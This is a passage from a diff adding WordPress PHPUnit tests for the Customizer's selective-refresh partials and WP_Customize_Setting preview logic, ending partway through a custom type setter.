+	 *                                                            The array is keyed by partial ID, with each item being an array of
+	 *                                                            the placements' context data.
+	 * @return array Response.
+	 */
+	function filter_customize_render_partials_response( $response, $component, $partial_placements ) {
+		$this->assertInternalType( 'array', $response );
+		$this->assertInstanceOf( 'WP_Customize_Selective_Refresh', $component );
+		if ( isset( $this->expected_partial_ids ) ) {
+			$this->assertEqualSets( $this->expected_partial_ids, array_keys( $partial_placements ) );
+		}
+		return $response;
+	}
+
+	/**
+	 * Expected partial IDs.
+	 *
+	 * @var array
+	 */
+	protected $expected_partial_ids;
+
+	/**
+	 * Handle 'customize_render_partials_before' action.
+	 *
+	 * @param WP_Customize_Selective_Refresh $component          Selective refresh component.
+	 * @param array                          $partial_placements Partial IDs.
+	 */
+	function handle_action_customize_render_partials_after( $component, $partial_placements ) {
+		$this->assertInstanceOf( 'WP_Customize_Selective_Refresh', $component );
+		if ( isset( $this->expected_partial_ids ) ) {
+			$this->assertEqualSets( $this->expected_partial_ids, array_keys( $partial_placements ) );
+		}
+	}
+
+	/**
+	 * Handle 'customize_render_partials_after' action.
+	 *
+	 * @param WP_Customize_Selective_Refresh $component          Selective refresh component.
+	 * @param array                          $partial_placements Partial IDs.
+	 */
+	function handle_action_customize_render_partials_before( $component, $partial_placements ) {
+		$this->assertInstanceOf( 'WP_Customize_Selective_Refresh', $component );
+		if ( isset( $this->expected_partial_ids ) ) {
+			$this->assertEqualSets( $this->expected_partial_ids, array_keys( $partial_placements ) );
+		}
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::handle_render_partials_request()dynamic partials are recognized.
+	 *
+	 * @see WP_Customize_Selective_Refresh::handle_render_partials_request()
+	 */
+	function test_handle_render_partials_request_for_dynamic_partial() {
+		$this->setup_valid_render_partials_request_environment();
+		add_filter( 'customize_dynamic_partial_args', array( $this, 'filter_customize_dynamic_partial_args' ), 10, 2 );
+
+		$context_data = array();
+		$placements = array( $context_data );
+
+		$_POST['partials'] = wp_slash( wp_json_encode( array(
+			'test_dynamic_blogname' => $placements,
+		) ) );
+
+		$count_customize_render_partials_before = has_action( 'customize_render_partials_before' );
+		$count_customize_render_partials_after = has_action( 'customize_render_partials_after' );
+		ob_start();
+		try {
+			$this->expected_partial_ids = array( 'test_dynamic_blogname' );
+			add_filter( 'customize_render_partials_response', array( $this, 'filter_customize_render_partials_response' ), 10, 3 );
+			add_action( 'customize_render_partials_before', array( $this, 'handle_action_customize_render_partials_before' ), 10, 2 );
+			add_action( 'customize_render_partials_after', array( $this, 'handle_action_customize_render_partials_after' ), 10, 2 );
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			$this->assertEquals( '', $e->getMessage() );
+		}
+		$this->assertEquals( $count_customize_render_partials_before + 1, has_action( 'customize_render_partials_before' ) );
+		$this->assertEquals( $count_customize_render_partials_after + 1, has_action( 'customize_render_partials_after' ) );
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertEquals( array( get_bloginfo( 'name', 'display' ) ), $output['data']['contents']['test_dynamic_blogname'] );
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::handle_render_partials_request() to multiple partials can be requested at once.
+	 *
+	 * @see WP_Customize_Selective_Refresh::handle_render_partials_request()
+	 */
+	function test_handle_render_partials_request_for_multiple_partials_placements() {
+		$this->setup_valid_render_partials_request_environment();
+
+		$this->wp_customize->selective_refresh->add_partial( 'test_blogname', array(
+			'settings' => array( 'blogname' ),
+			'render_callback' => array( $this, 'render_callback_blogname' ),
+		) );
+		$this->wp_customize->selective_refresh->add_partial( 'test_blogdescription', array(
+			'settings' => array( 'blogdescription' ),
+			'render_callback' => array( $this, 'render_callback_blogdescription' ),
+		) );
+
+		$placement_context_data = array();
+
+		$_POST['partials'] = wp_slash( wp_json_encode( array(
+			'test_blogname' => array( $placement_context_data ),
+			'test_blogdescription' => array( $placement_context_data, $placement_context_data ),
+		) ) );
+
+		$count_customize_render_partials_before = has_action( 'customize_render_partials_before' );
+		$count_customize_render_partials_after = has_action( 'customize_render_partials_after' );
+		ob_start();
+		try {
+			$this->expected_partial_ids = array( 'test_blogname', 'test_blogdescription' );
+			add_filter( 'customize_render_partials_response', array( $this, 'filter_customize_render_partials_response' ), 10, 3 );
+			add_action( 'customize_render_partials_before', array( $this, 'handle_action_customize_render_partials_before' ), 10, 2 );
+			add_action( 'customize_render_partials_after', array( $this, 'handle_action_customize_render_partials_after' ), 10, 2 );
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			$this->assertEquals( '', $e->getMessage() );
+		}
+		$this->assertEquals( $count_customize_render_partials_before + 1, has_action( 'customize_render_partials_before' ) );
+		$this->assertEquals( $count_customize_render_partials_after + 1, has_action( 'customize_render_partials_after' ) );
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertEquals( array( get_bloginfo( 'name', 'display' ) ), $output['data']['contents']['test_blogname'] );
+		$this->assertEquals( array_fill( 0, 2, get_bloginfo( 'description', 'display' ) ), $output['data']['contents']['test_blogdescription'] );
+	}
+
+	/**
+	 * Tear down.
+	 */
+	function tearDown() {
+		$this->expected_partial_ids = null;
+		$this->wp_customize = null;
+		unset( $GLOBALS['wp_customize'] );
+		unset( $GLOBALS['wp_scripts'] );
+		parent::tearDown();
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/selective-refresh.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/selective-refresh.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/selective-refresh.php	(revision 56912)
@@ -0,0 +1,272 @@
+<?php
+/**
+ * WP_Customize_Selective_Refresh tests.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Tests for the WP_Customize_Selective_Refresh class.
+ *
+ * @group customize
+ */
+class Test_WP_Customize_Selective_Refresh extends WP_UnitTestCase {
+
+	/**
+	 * Manager.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $wp_customize;
+
+	/**
+	 * Component.
+	 *
+	 * @var WP_Customize_Selective_Refresh
+	 */
+	public $selective_refresh;
+
+	/**
+	 * Set up the test fixture.
+	 */
+	function setUp() {
+		parent::setUp();
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+		// @codingStandardsIgnoreStart
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		// @codingStandardsIgnoreEnd
+		$this->wp_customize = $GLOBALS['wp_customize'];
+		if ( isset( $this->wp_customize->selective_refresh ) ) {
+			$this->selective_refresh = $this->wp_customize->selective_refresh;
+		}
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::__construct().
+	 *
+	 * @see WP_Customize_Selective_Refresh::__construct()
+	 */
+	function test_construct() {
+		$this->assertEquals( $this->selective_refresh, $this->wp_customize->selective_refresh );
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::register_scripts().
+	 *
+	 * @see WP_Customize_Selective_Refresh::register_scripts()
+	 */
+	function test_register_scripts() {
+		$scripts = new WP_Scripts();
+		$handles = array(
+			'customize-selective-refresh',
+			'customize-preview-nav-menus',
+			'customize-preview-widgets',
+		);
+		foreach ( $handles as $handle ) {
+			$this->assertArrayHasKey( $handle, $scripts->registered );
+		}
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::partials().
+	 *
+	 * @see WP_Customize_Selective_Refresh::partials()
+	 */
+	function test_partials() {
+		$this->assertInternalType( 'array', $this->selective_refresh->partials() );
+	}
+
+	/**
+	 * Test CRUD methods for partials.
+	 *
+	 * @see WP_Customize_Selective_Refresh::get_partial()
+	 * @see WP_Customize_Selective_Refresh::add_partial()
+	 * @see WP_Customize_Selective_Refresh::remove_partial()
+	 */
+	function test_crud_partial() {
+		$partial = $this->selective_refresh->add_partial( 'foo' );
+		$this->assertEquals( $this->selective_refresh, $partial->component );
+		$this->assertInstanceOf( 'WP_Customize_Partial', $partial );
+		$this->assertEquals( $partial, $this->selective_refresh->get_partial( $partial->id ) );
+		$this->assertArrayHasKey( $partial->id, $this->selective_refresh->partials() );
+
+		$this->selective_refresh->remove_partial( $partial->id );
+		$this->assertEmpty( $this->selective_refresh->get_partial( $partial->id ) );
+		$this->assertArrayNotHasKey( $partial->id, $this->selective_refresh->partials() );
+
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'bar' );
+		$this->assertEquals( $partial, $this->selective_refresh->add_partial( $partial ) );
+		$this->assertEquals( $partial, $this->selective_refresh->get_partial( 'bar' ) );
+		$this->assertEqualSets( array( 'bar' ), array_keys( $this->selective_refresh->partials() ) );
+
+		add_filter( 'customize_dynamic_partial_args', array( $this, 'filter_customize_dynamic_partial_args' ), 10, 2 );
+		add_filter( 'customize_dynamic_partial_class', array( $this, 'filter_customize_dynamic_partial_class' ), 10, 3 );
+
+		$partial = $this->selective_refresh->add_partial( 'recognized-class' );
+		$this->assertInstanceOf( 'Tested_Custom_Partial', $partial );
+		$this->assertEquals( '.recognized', $partial->selector );
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::init_preview().
+	 *
+	 * @see WP_Customize_Selective_Refresh::init_preview()
+	 */
+	function test_init_preview() {
+		$this->selective_refresh->init_preview();
+		$this->assertEquals( 10, has_action( 'template_redirect', array( $this->selective_refresh, 'handle_render_partials_request' ) ) );
+		$this->assertEquals( 10, has_action( 'wp_enqueue_scripts', array( $this->selective_refresh, 'enqueue_preview_scripts' ) ) );
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::enqueue_preview_scripts().
+	 *
+	 * @see WP_Customize_Selective_Refresh::enqueue_preview_scripts()
+	 */
+	function test_enqueue_preview_scripts() {
+		$scripts = wp_scripts();
+		$this->assertNotContains( 'customize-selective-refresh', $scripts->queue );
+		$this->selective_refresh->enqueue_preview_scripts();
+		$this->assertContains( 'customize-selective-refresh', $scripts->queue );
+		$this->assertEquals( 1000, has_action( 'wp_footer', array( $this->selective_refresh, 'export_preview_data' ) ) );
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::export_preview_data().
+	 *
+	 * @see WP_Customize_Selective_Refresh::export_preview_data()
+	 */
+	function test_export_preview_data() {
+		$user_id = self::factory()->user->create( array( 'role' => 'administrator' ) );
+		wp_set_current_user( $user_id );
+		$user = new WP_User( $user_id );
+		do_action( 'customize_register', $this->wp_customize );
+		$user->remove_cap( 'top_secret_clearance' );
+		$this->wp_customize->add_setting( 'top_secret_message', array(
+			'capability' => 'top_secret_clearance', // The administrator role lacks this.
+		) );
+		$this->selective_refresh->add_partial( 'blogname', array(
+			'selector' => '#site-title',
+		) );
+		$this->selective_refresh->add_partial( 'top_secret_message', array(
+			'settings' => array( 'top_secret_message' ),
+		) );
+		ob_start();
+		$this->selective_refresh->export_preview_data();
+		$html = ob_get_clean();
+		$this->assertTrue( (bool) preg_match( '/_customizePartialRefreshExports = ({.+})/s', $html, $matches ) );
+		$exported_data = json_decode( $matches[1], true );
+		$this->assertInternalType( 'array', $exported_data );
+		$this->assertArrayHasKey( 'partials', $exported_data );
+		$this->assertInternalType( 'array', $exported_data['partials'] );
+		$this->assertArrayHasKey( 'blogname', $exported_data['partials'] );
+		$this->assertArrayNotHasKey( 'top_secret_message', $exported_data['partials'] );
+		$this->assertEquals( '#site-title', $exported_data['partials']['blogname']['selector'] );
+		$this->assertArrayHasKey( 'renderQueryVar', $exported_data );
+		$this->assertArrayHasKey( 'l10n', $exported_data );
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::add_dynamic_partials().
+	 *
+	 * @see WP_Customize_Selective_Refresh::add_dynamic_partials()
+	 */
+	function test_add_dynamic_partials() {
+		$partial_ids = array( 'recognized', 'recognized-class', 'unrecognized', 'already-added' );
+
+		$partials = $this->selective_refresh->add_dynamic_partials( $partial_ids );
+		$this->assertEmpty( $partials );
+
+		$this->selective_refresh->add_partial( 'already-added' );
+
+		add_filter( 'customize_dynamic_partial_args', array( $this, 'filter_customize_dynamic_partial_args' ), 10, 2 );
+		add_filter( 'customize_dynamic_partial_class', array( $this, 'filter_customize_dynamic_partial_class' ), 10, 3 );
+
+		$partials = $this->selective_refresh->add_dynamic_partials( $partial_ids );
+		$this->assertEqualSets( array( 'recognized', 'recognized-class' ), wp_list_pluck( $partials, 'id' ) );
+
+		$this->assertInstanceOf( 'Tested_Custom_Partial', $this->selective_refresh->get_partial( 'recognized-class' ) );
+		$this->assertNotInstanceOf( 'Tested_Custom_Partial', $this->selective_refresh->get_partial( 'recognized' ) );
+		$this->assertEquals( '.recognized', $this->selective_refresh->get_partial( 'recognized' )->selector );
+	}
+
+	/**
+	 * Filter customize_dynamic_partial_args.
+	 *
+	 * @see Test_WP_Customize_Selective_Refresh::test_add_dynamic_partials()
+	 *
+	 * @param false|array $partial_args The arguments to the WP_Customize_Partial constructor.
+	 * @param string      $partial_id   ID for dynamic partial.
+	 * @return false|array $args Dynamic partial args.
+	 */
+	function filter_customize_dynamic_partial_args( $partial_args, $partial_id ) {
+		$this->assertTrue( false === $partial_args || is_array( $partial_args ) );
+		$this->assertInternalType( 'string', $partial_id );
+
+		if ( preg_match( '/^recognized/', $partial_id ) ) {
+			$partial_args = array(
+				'selector' => '.recognized',
+			);
+		}
+
+		return $partial_args;
+	}
+
+	/**
+	 * Filter customize_dynamic_partial_class.
+	 *
+	 * @see Test_WP_Customize_Selective_Refresh::test_add_dynamic_partials()
+	 *
+	 * @param string $partial_class WP_Customize_Partial or a subclass.
+	 * @param string $partial_id    ID for dynamic partial.
+	 * @param array  $partial_args  The arguments to the WP_Customize_Partial constructor.
+	 * @return string
+	 */
+	function filter_customize_dynamic_partial_class( $partial_class, $partial_id, $partial_args ) {
+		$this->assertInternalType( 'array', $partial_args );
+		$this->assertInternalType( 'string', $partial_id );
+		$this->assertInternalType( 'string', $partial_class );
+
+		if ( 'recognized-class' === $partial_id ) {
+			$partial_class = 'Tested_Custom_Partial';
+		}
+
+		return $partial_class;
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::is_render_partials_request().
+	 *
+	 * @see WP_Customize_Selective_Refresh::is_render_partials_request()
+	 */
+	function test_is_render_partials_request() {
+		$this->assertFalse( $this->selective_refresh->is_render_partials_request() );
+		$_POST[ WP_Customize_Selective_Refresh::RENDER_QUERY_VAR ] = '1';
+		$this->assertTrue( $this->selective_refresh->is_render_partials_request() );
+	}
+
+	/**
+	 * Tear down.
+	 */
+	function tearDown() {
+		$this->wp_customize = null;
+		unset( $GLOBALS['wp_customize'] );
+		unset( $GLOBALS['wp_scripts'] );
+		parent::tearDown();
+	}
+}
+
+require_once ABSPATH . WPINC . '/customize/class-wp-customize-partial.php';
+
+/**
+ * Class Tested_Custom_Partial
+ */
+class Tested_Custom_Partial extends WP_Customize_Partial {
+
+	/**
+	 * Type.
+	 *
+	 * @var string
+	 */
+	public $type = 'custom';
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/setting.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/setting.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/setting.php	(revision 56912)
@@ -0,0 +1,732 @@
+<?php
+
+/**
+ * Tests for the WP_Customize_Setting class.
+ *
+ * @group customize
+ */
+class Tests_WP_Customize_Setting extends WP_UnitTestCase {
+
+	/**
+	 * @var WP_Customize_Manager
+	 */
+	protected $manager;
+
+	/**
+	 * @var stdClass an instance which serves as a symbol to do identity checks with
+	 */
+	public $undefined;
+
+	function setUp() {
+		parent::setUp();
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		$this->manager = $GLOBALS['wp_customize'];
+		$this->undefined = new stdClass();
+	}
+
+	function tearDown() {
+		$this->manager = null;
+		unset( $GLOBALS['wp_customize'] );
+		parent::tearDown();
+	}
+
+	function test_constructor_without_args() {
+		$setting = new WP_Customize_Setting( $this->manager, 'foo' );
+		$this->assertEquals( $this->manager, $setting->manager );
+		$this->assertEquals( 'foo', $setting->id );
+		$this->assertEquals( 'theme_mod', $setting->type );
+		$this->assertEquals( 'edit_theme_options', $setting->capability );
+		$this->assertEquals( '', $setting->theme_supports );
+		$this->assertEquals( '', $setting->default );
+		$this->assertEquals( 'refresh', $setting->transport );
+		$this->assertEquals( '', $setting->sanitize_callback );
+		$this->assertEquals( '', $setting->sanitize_js_callback );
+		$this->assertFalse( has_filter( "customize_validate_{$setting->id}" ) );
+		$this->assertFalse( has_filter( "customize_sanitize_{$setting->id}" ) );
+		$this->assertFalse( has_filter( "customize_sanitize_js_{$setting->id}" ) );
+		$this->assertEquals( false, $setting->dirty );
+	}
+
+	/**
+	 * A test validate callback function.
+	 *
+	 * @param mixed                $value   The setting value.
+	 * @param WP_Customize_Setting $setting The setting object.
+	 */
+	public function validate_callback_for_tests( $value, $setting ) {
+		return $value . ':validate_callback';
+	}
+
+	/**
+	 * A test sanitize callback function.
+	 *
+	 * @param mixed                $value   The setting value.
+	 * @param WP_Customize_Setting $setting The setting object.
+	 */
+	public function sanitize_callback_for_tests( $value, $setting ) {
+		return $value . ':sanitize_callback';
+	}
+
+	/**
+	 * A test sanitize JS callback function.
+	 *
+	 * @param mixed                $value   The setting value.
+	 * @param WP_Customize_Setting $setting The setting object.
+	 */
+	public function sanitize_js_callback_for_tests( $value, $setting ) {
+		return $value . ':sanitize_js_callback';
+	}
+
+	/**
+	 * Sanitize JS callback for base64 encoding.
+	 *
+	 * @param mixed                $value   The setting value.
+	 * @param WP_Customize_Setting $setting The setting object.
+	 */
+	function sanitize_js_callback_base64_for_testing( $value, $setting ) {
+		return base64_encode( $value );
+	}
+
+	function test_constructor_with_args() {
+		$args = array(
+			'type' => 'option',
+			'capability' => 'edit_posts',
+			'theme_supports' => 'widgets',
+			'default' => 'barbar',
+			'transport' => 'postMessage',
+			'validate_callback' => array( $this, 'validate_callback_for_tests' ),
+			'sanitize_callback' => array( $this, 'sanitize_callback_for_tests' ),
+			'sanitize_js_callback' => array( $this, 'sanitize_js_callback_for_tests' ),
+		);
+		$setting = new WP_Customize_Setting( $this->manager, 'bar', $args );
+		$this->assertEquals( 'bar', $setting->id );
+		foreach ( $args as $key => $value ) {
+			$this->assertEquals( $value, $setting->$key );
+		}
+		$this->assertEquals( 10, has_filter( "customize_validate_{$setting->id}", $args['validate_callback'] ) );
+		$this->assertEquals( 10, has_filter( "customize_sanitize_{$setting->id}", $args['sanitize_callback'] ) );
+		$this->assertEquals( 10, has_filter( "customize_sanitize_js_{$setting->id}" ), $args['sanitize_js_callback'] );
+	}
+
+	public $post_data_overrides = array(
+		'unset_option_overridden' => 'unset_option_post_override_value\\o/',
+		'unset_theme_mod_overridden' => 'unset_theme_mod_post_override_value\\o/',
+		'set_option_overridden' => 'set_option_post_override_value\\o/',
+		'set_theme_mod_overridden' => 'set_theme_mod_post_override_value\\o/',
+		'unset_option_multi_overridden[foo]' => 'unset_option_multi_overridden[foo]_post_override_value\\o/',
+		'unset_theme_mod_multi_overridden[foo]' => 'unset_theme_mod_multi_overridden[foo]_post_override_value\\o/',
+		'set_option_multi_overridden[foo]' => 'set_option_multi_overridden[foo]_post_override_value\\o/',
+		'set_theme_mod_multi_overridden[foo]' => 'set_theme_mod_multi_overridden[foo]_post_override_value\\o/',
+	);
+
+	public $standard_type_configs = array(
+		'option' => array(
+			'getter' => 'get_option',
+			'setter' => 'update_option',
+		),
+		'theme_mod' => array(
+			'getter' => 'get_theme_mod',
+			'setter' => 'set_theme_mod',
+		),
+	);
+
+	/**
+	 * Run assertions on non-multidimensional standard settings.
+	 *
+	 * @see WP_Customize_Setting::value()
+	 */
+	function test_preview_standard_types_non_multidimensional() {
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$_POST['customized'] = wp_slash( wp_json_encode( $this->post_data_overrides ) );
+
+		// Try non-multidimensional settings.
+		foreach ( $this->standard_type_configs as $type => $type_options ) {
+			// Non-multidimensional: See what effect the preview filter has on a non-existent setting (default value should be seen).
+			$name = "unset_{$type}_without_post_value";
+			$default = "default_value_{$name}";
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $this->undefined, call_user_func( $type_options['getter'], $name, $this->undefined ) );
+			$this->assertEquals( $default, $setting->value() );
+			$this->assertTrue( $setting->preview(), 'Preview should not no-op since setting has no existing value.' );
+			$this->assertEquals( $default, call_user_func( $type_options['getter'], $name, $this->undefined ), sprintf( 'Expected %s(%s) to return setting default: %s.', $type_options['getter'], $name, $default ) );
+			$this->assertEquals( $default, $setting->value() );
+
+			// Non-multidimensional: See what effect the preview has on an extant setting (default value should not be seen).
+			$name = "set_{$type}_without_post_value";
+			$default = "default_value_{$name}";
+			$initial_value = "initial_value_{$name}";
+			call_user_func( $type_options['setter'], $name, $initial_value );
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $initial_value, call_user_func( $type_options['getter'], $name ) );
+			$this->assertEquals( $initial_value, $setting->value() );
+			$this->assertFalse( $setting->preview(), 'Preview should no-op since setting value was extant and no post value was present.' );
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ) ); // Only applicable for custom types (not options or theme_mods).
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->type}" ) ); // Only applicable for custom types (not options or theme_mods).
+			$this->assertEquals( $initial_value, call_user_func( $type_options['getter'], $name ) );
+			$this->assertEquals( $initial_value, $setting->value() );
+
+			// Non-multidimensional: Try updating a value that had a no-op preview.
+			$overridden_value = "overridden_value_$name";
+			call_user_func( $type_options['setter'], $name, $overridden_value );
+			$message = 'Initial value should be overridden because initial preview() was no-op due to setting having existing value and/or post value was absent.';
+			$this->assertEquals( $overridden_value, call_user_func( $type_options['getter'], $name ), $message );
+			$this->assertEquals( $overridden_value, $setting->value(), $message );
+			$this->assertNotEquals( $initial_value, $setting->value(), $message );
+
+			// Non-multidimensional: Ensure that setting a post value *after* preview() is called results in the post value being seen (deferred preview).
+			$post_value = "post_value_for_{$setting->id}_set_after_preview_called";
+			$this->assertEquals( 0, did_action( "customize_post_value_set_{$setting->id}" ) );
+			$this->manager->set_post_value( $setting->id, $post_value );
+			$this->assertEquals( 1, did_action( "customize_post_value_set_{$setting->id}" ) );
+			$this->assertNotEquals( $overridden_value, $setting->value() );
+			$this->assertEquals( $post_value, call_user_func( $type_options['getter'], $name ) );
+			$this->assertEquals( $post_value, $setting->value() );
+
+			// Non-multidimensional: Test unset setting being overridden by a post value.
+			$name = "unset_{$type}_overridden";
+			$default = "default_value_{$name}";
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $this->undefined, call_user_func( $type_options['getter'], $name, $this->undefined ) );
+			$this->assertEquals( $default, $setting->value() );
+			$this->assertTrue( $setting->preview(), 'Preview applies because setting has post_data_overrides.' ); // Activate post_data.
+			$this->assertEquals( $this->post_data_overrides[ $name ], call_user_func( $type_options['getter'], $name, $this->undefined ) );
+			$this->assertEquals( $this->post_data_overrides[ $name ], $setting->value() );
+
+			// Non-multidimensional: Test set setting being overridden by a post value.
+			$name = "set_{$type}_overridden";
+			$default = "default_value_{$name}";
+			$initial_value = "initial_value_{$name}";
+			call_user_func( $type_options['setter'], $name, $initial_value );
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $initial_value, call_user_func( $type_options['getter'], $name, $this->undefined ) );
+			$this->assertEquals( $initial_value, $setting->value() );
+			$this->assertTrue( $setting->preview(), 'Preview applies because setting has post_data_overrides.' ); // Activate post_data.
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ) ); // Only applicable for custom types (not options or theme_mods).
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->type}" ) ); // Only applicable for custom types (not options or theme_mods).
+			$this->assertEquals( $this->post_data_overrides[ $name ], call_user_func( $type_options['getter'], $name, $this->undefined ) );
+			$this->assertEquals( $this->post_data_overrides[ $name ], $setting->value() );
+		}
+	}
+
+	/**
+	 * Run assertions on multidimensional standard settings.
+	 *
+	 * @see WP_Customize_Setting::preview()
+	 * @see WP_Customize_Setting::value()
+	 */
+	function test_preview_standard_types_multidimensional() {
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$_POST['customized'] = wp_slash( wp_json_encode( $this->post_data_overrides ) );
+
+		foreach ( $this->standard_type_configs as $type => $type_options ) {
+			// Multidimensional: See what effect the preview filter has on a non-existent setting (default value should be seen).
+			$base_name = "unset_{$type}_multi";
+			$name = $base_name . '[foo]';
+			$default = "default_value_{$name}";
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $this->undefined, call_user_func( $type_options['getter'], $base_name, $this->undefined ) );
+			$this->assertEquals( $default, $setting->value() );
+			$this->assertTrue( $setting->preview(), "Preview for $setting->id should apply because setting is not in DB." );
+			$base_value = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertArrayHasKey( 'foo', $base_value );
+			$this->assertEquals( $default, $base_value['foo'] );
+
+			// Multidimensional: See what effect the preview has on an extant setting (default value should not be seen) without post value.
+			$base_name = "set_{$type}_multi";
+			$name = $base_name . '[foo]';
+			$default = "default_value_{$name}";
+			$initial_value = "initial_value_{$name}";
+			$base_initial_value = array( 'foo' => $initial_value, 'bar' => 'persisted' );
+			call_user_func( $type_options['setter'], $base_name, $base_initial_value );
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$base_value = call_user_func( $type_options['getter'], $base_name, array() );
+			$this->assertEquals( $initial_value, $base_value['foo'] );
+			$this->assertEquals( $initial_value, $setting->value() );
+			$this->assertFalse( $setting->preview(), "Preview for $setting->id should no-op because setting is in DB and post value is absent." );
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ) ); // Only applicable for custom types (not options or theme_mods).
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->type}" ) ); // Only applicable for custom types (not options or theme_mods).
+			$base_value = call_user_func( $type_options['getter'], $base_name, array() );
+			$this->assertEquals( $initial_value, $base_value['foo'] );
+			$this->assertEquals( $initial_value, $setting->value() );
+
+			// Multidimensional: Ensure that setting a post value *after* preview() is called results in the post value being seen (deferred preview).
+			$override_value = "post_value_for_{$setting->id}_set_after_preview_called";
+			$this->manager->set_post_value( $setting->id, $override_value );
+			$base_value = call_user_func( $type_options['getter'], $base_name, array() );
+			$this->assertEquals( $override_value, $base_value['foo'] );
+			$this->assertEquals( $override_value, $setting->value() );
+
+			// Multidimensional: Test unset setting being overridden by a post value.
+			$base_name = "unset_{$type}_multi_overridden";
+			$name = $base_name . '[foo]';
+			$default = "default_value_{$name}";
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $this->undefined, call_user_func( $type_options['getter'], $base_name, $this->undefined ) );
+			$this->assertEquals( $default, $setting->value() );
+			$this->assertTrue( $setting->preview(), "Preview for $setting->id should apply because a post value is present." );
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ) ); // Only applicable for custom types (not options or theme_mods).
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->type}" ) ); // Only applicable for custom types (not options or theme_mods).
+			$base_value = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertArrayHasKey( 'foo', $base_value );
+			$this->assertEquals( $this->post_data_overrides[ $name ], $base_value['foo'] );
+
+			// Multidimensional: Test set setting being overridden by a post value.
+			$base_name = "set_{$type}_multi_overridden";
+			$name = $base_name . '[foo]';
+			$default = "default_value_{$name}";
+			$initial_value = "initial_value_{$name}";
+			$base_initial_value = array( 'foo' => $initial_value, 'bar' => 'persisted' );
+			call_user_func( $type_options['setter'], $base_name, $base_initial_value );
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$base_value = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertArrayHasKey( 'foo', $base_value );
+			$this->assertArrayHasKey( 'bar', $base_value );
+			$this->assertEquals( $base_initial_value['foo'], $base_value['foo'] );
+
+			$getter = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertEquals( $base_initial_value['bar'], $getter['bar'] );
+			$this->assertEquals( $initial_value, $setting->value() );
+			$this->assertTrue( $setting->preview(), "Preview for $setting->id should apply because post value is present." );
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ) ); // Only applicable for custom types (not options or theme_mods).
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->type}" ) ); // Only applicable for custom types (not options or theme_mods).
+			$base_value = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertArrayHasKey( 'foo', $base_value );
+			$this->assertEquals( $this->post_data_overrides[ $name ], $base_value['foo'] );
+			$this->assertArrayHasKey( 'bar', call_user_func( $type_options['getter'], $base_name, $this->undefined ) );
+
+			$getter = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertEquals( $base_initial_value['bar'], $getter['bar'] );
+		}
+	}
+
+	/**
+	 * @var array storage for saved custom type data that are tested in self::test_preview_custom_type()
+	 */
+	protected $custom_type_data_saved;
+
+	/**
+	 * @var array storage for previewed custom type data that are tested in self::test_preview_custom_type()
+	 */
+	protected $custom_type_data_previewed;
+
+	function custom_type_getter( $name, $default = null ) {
+		if ( did_action( "customize_preview_{$name}" ) && array_key_exists( $name, $this->custom_type_data_previewed ) ) {
+			$value = $this->custom_type_data_previewed[ $name ];
+		} else if ( array_key_exists( $name, $this->custom_type_data_saved ) ) {
+			$value = $this->custom_type_data_saved[ $name ];
+		} else {
+			$value = $default;
+		}
+		return $value;
+	}
+
+	function custom_type_setter( $name, $value ) {
